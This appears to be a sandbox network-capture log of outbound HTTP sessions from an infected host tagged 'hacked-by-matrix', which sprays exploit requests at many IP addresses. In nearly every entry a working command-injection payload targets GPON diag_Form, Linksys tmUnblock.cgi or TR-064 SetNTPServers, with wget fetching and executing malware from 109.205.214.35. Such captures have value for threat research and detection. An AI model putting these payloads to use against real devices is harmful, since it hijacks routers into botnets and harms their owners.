Mar 21, 2024 05:26:16.219386101 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
892	192.168.2.23	49598	118.90.65.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219409943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
893	192.168.2.23	46052	37.36.43.63	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219425917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
894	192.168.2.23	50426	5.233.231.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219427109 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
895	192.168.2.23	53722	94.244.218.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219446898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
896	192.168.2.23	38072	94.22.131.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219451904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
897	192.168.2.23	49820	37.70.234.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219453096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
898	192.168.2.23	51692	42.108.169.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219516993 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
899	192.168.2.23	34434	178.238.97.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219541073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
900	192.168.2.23	56252	37.64.63.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219544888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
901	192.168.2.23	60484	94.194.86.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219569921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
902	192.168.2.23	37756	5.194.247.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219602108 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
903	192.168.2.23	42134	79.147.183.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219604969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
904	192.168.2.23	40188	212.185.176.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219643116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
905	192.168.2.23	41092	212.115.246.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219691038 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
906	192.168.2.23	41084	37.134.188.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219719887 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
907	192.168.2.23	52460	118.34.122.161	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219727039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
908	192.168.2.23	60692	172.65.102.206	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.370263100 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
909	192.168.2.23	48750	86.150.122.60	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.481239080 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:20.589198112 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
910	192.168.2.23	40010	35.192.87.145	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.548438072 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:20.589198112 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:20.703730106 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:26:20 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
911	192.168.2.23	58472	23.54.207.165	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.597912073 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
